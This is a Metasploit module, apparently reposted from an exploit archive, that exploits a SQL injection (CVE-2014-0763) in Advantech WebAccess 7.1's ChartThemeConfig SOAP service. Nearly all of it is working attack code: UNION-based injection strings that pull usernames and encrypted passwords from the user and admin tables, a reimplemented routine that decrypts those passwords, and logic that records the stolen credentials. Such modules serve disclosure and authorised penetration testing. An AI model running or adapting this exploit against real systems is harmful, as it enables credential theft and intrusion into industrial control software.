Share
## https://sploitus.com/exploit?id=PACKETSTORM:180782
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rexml/document'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include REXML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Advantech WebAccess DBVisitor.dll ChartThemeConfig SQL Injection',  
'Description' => %q{  
This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The  
vulnerability exists in the DBVisitor.dll component, and can be abused through malicious  
requests to the ChartThemeConfig web service. This module can be used to extract the site  
and project usernames and hashes.  
},  
'References' =>  
[  
[ 'CVE', '2014-0763' ],  
[ 'ZDI', '14-077' ],  
[ 'OSVDB', '105572' ],  
[ 'BID', '66740' ],  
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-14-079-03' ]  
],  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2014-04-08'  
))  
  
register_options(  
[  
OptString.new("TARGETURI", [true, 'The path to the BEMS Web Site', '/BEMS']),  
OptString.new("WEB_DATABASE", [true, 'The path to the bwCfg.mdb database in the target', "C:\\WebAccess\\Node\\config\\bwCfg.mdb"])  
])  
end  
  
def build_soap(injection)  
xml = Document.new  
xml.add_element(  
"s:Envelope",  
{  
'xmlns:s' => "http://schemas.xmlsoap.org/soap/envelope/"  
})  
xml.root.add_element("s:Body")  
body = xml.root.elements[1]  
body.add_element(  
"GetThemeNameList",  
{  
'xmlns' => "http://tempuri.org/"  
})  
name_list = body.elements[1]  
name_list.add_element("userName")  
name_list.elements['userName'].text = injection  
  
xml.to_s  
end  
  
def do_sqli(injection, mark)  
xml = build_soap(injection)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path.to_s, "Services", "ChartThemeConfig.svc"),  
'ctype' => 'text/xml; charset=UTF-8',  
'headers' => {  
'SOAPAction' => '"http://tempuri.org/IChartThemeConfig/GetThemeNameList"'  
},  
'data' => xml  
})  
  
unless res && res.code == 200 && res.body && res.body.include?(mark)  
return nil  
end  
  
res.body.to_s  
end  
  
def check  
mark = Rex::Text.rand_text_alpha(8 + rand(5))  
injection = "#{Rex::Text.rand_text_alpha(8 + rand(5))}' "  
injection << "union all select '#{mark}' from BAThemeSetting where '#{Rex::Text.rand_text_alpha(2)}'='#{Rex::Text.rand_text_alpha(3)}"  
data = do_sqli(injection, mark)  
  
if data.nil?  
return Msf::Exploit::CheckCode::Safe  
end  
  
Msf::Exploit::CheckCode::Vulnerable  
end  
  
def parse_users(xml, mark, separator)  
doc = Document.new(xml)  
  
strings = XPath.match(doc, "s:Envelope/s:Body/GetThemeNameListResponse/GetThemeNameListResult/a:string").map(&:text)  
strings_length = strings.length  
  
unless strings_length > 1  
return  
end  
  
i = 0  
strings.each do |result|  
next if result == mark  
@users << result.split(separator)  
i = i + 1  
end  
  
end  
  
def run  
print_status("Exploiting sqli to extract users information...")  
mark = Rex::Text.rand_text_alpha(8 + rand(5))  
rand = Rex::Text.rand_text_numeric(2)  
separator = Rex::Text.rand_text_alpha(5 + rand(5))  
# While installing I can only configure an Access backend, but  
# according to documentation other backends are supported. This  
# injection should be compatible, hopefully, with most backends.  
injection = "#{Rex::Text.rand_text_alpha(8 + rand(5))}' "  
injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}BAUser' from BAUser where #{rand}=#{rand} "  
injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}pUserPassword' from pUserPassword IN '#{datastore['WEB_DATABASE']}' where #{rand}=#{rand} "  
injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}pAdmin' from pAdmin IN '#{datastore['WEB_DATABASE']}' where #{rand}=#{rand} "  
injection << "union all select '#{mark}' from BAThemeSetting where '#{Rex::Text.rand_text_alpha(2)}'='#{Rex::Text.rand_text_alpha(3)}"  
data = do_sqli(injection, mark)  
  
if data.blank?  
print_error("Error exploiting sqli")  
return  
end  
  
@users = []  
@plain_passwords = []  
  
print_status("Parsing extracted data...")  
parse_users(data, mark, separator)  
  
if @users.empty?  
print_error("Users not found")  
return  
else  
print_good("#{@users.length} users found!")  
end  
  
users_table = Rex::Text::Table.new(  
'Header' => 'Advantech WebAccess Users',  
'Indent' => 1,  
'Columns' => ['Username', 'Encrypted Password', 'Key', 'Recovered password', 'Origin']  
)  
  
for i in 0..@users.length - 1  
@plain_passwords[i] =  
begin  
decrypt_password(@users[i][1], @users[i][2])  
rescue  
"(format not recognized)"  
end  
  
@plain_passwords[i] = "(blank password)" if @plain_passwords[i].empty?  
  
begin  
@plain_passwords[i].encode("ISO-8859-1").to_s  
rescue ::Encoding::UndefinedConversionError  
chars = @plain_passwords[i].unpack("C*")  
@plain_passwords[i] = "0x#{chars.collect {|c| c.to_s(16)}.join(", 0x")}"  
@plain_passwords[i] << " (ISO-8859-1 hex chars)"  
end  
  
report_cred(  
ip: rhost,  
port: rport,  
user: @users[i][0],  
password: @plain_passwords[i],  
service_name: (ssl ? "https" : "http"),  
proof: "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}"  
)  
  
users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])]  
end  
  
print_line(users_table.to_s)  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def user_type(database)  
user_type = database  
  
unless database == "BAUser"  
user_type << " (Web Access)"  
end  
  
user_type  
end  
  
def decrypt_password(password, key)  
recovered_password = recover_password(password)  
recovered_key = recover_key(key)  
  
recovered_bytes = decrypt_bytes(recovered_password, recovered_key)  
password = []  
  
recovered_bytes.each { |b|  
if b == 0  
break  
else  
password.push(b)  
end  
}  
  
return password.pack("C*")  
end  
  
def recover_password(password)  
bytes = password.unpack("C*")  
recovered = []  
  
i = 0  
j = 0  
while i < 16  
low = bytes[i]  
if low < 0x41  
low = low - 0x30  
else  
low = low - 0x37  
end  
low = low * 16  
  
high = bytes[i+1]  
if high < 0x41  
high = high - 0x30  
else  
high = high - 0x37  
end  
  
recovered_byte = low + high  
recovered[j] = recovered_byte  
i = i + 2  
j = j + 1  
end  
  
recovered  
end  
  
def recover_key(key)  
bytes = key.unpack("C*")  
recovered = 0  
  
bytes[0, 8].each { |b|  
recovered = recovered * 16  
if b < 0x41  
byte_weight = b - 0x30  
else  
byte_weight = b - 0x37  
end  
recovered = recovered + byte_weight  
}  
  
recovered  
end  
  
def decrypt_bytes(bytes, key)  
result = []  
xor_table = [0xaa, 0xa5, 0x5a, 0x55]  
key_copy = key  
for i in 0..7  
byte = (crazy(bytes[i] ,8 - (key & 7)) & 0xff)  
result.push(byte ^ xor_table[key_copy & 3])  
key_copy = key_copy / 4  
key = key / 8  
end  
  
result  
end  
  
def crazy(byte, magic)  
result = byte & 0xff  
  
while magic > 0  
result = result * 2  
if result & 0x100 == 0x100  
result = result + 1  
end  
magic = magic - 1  
end  
  
result  
end  
end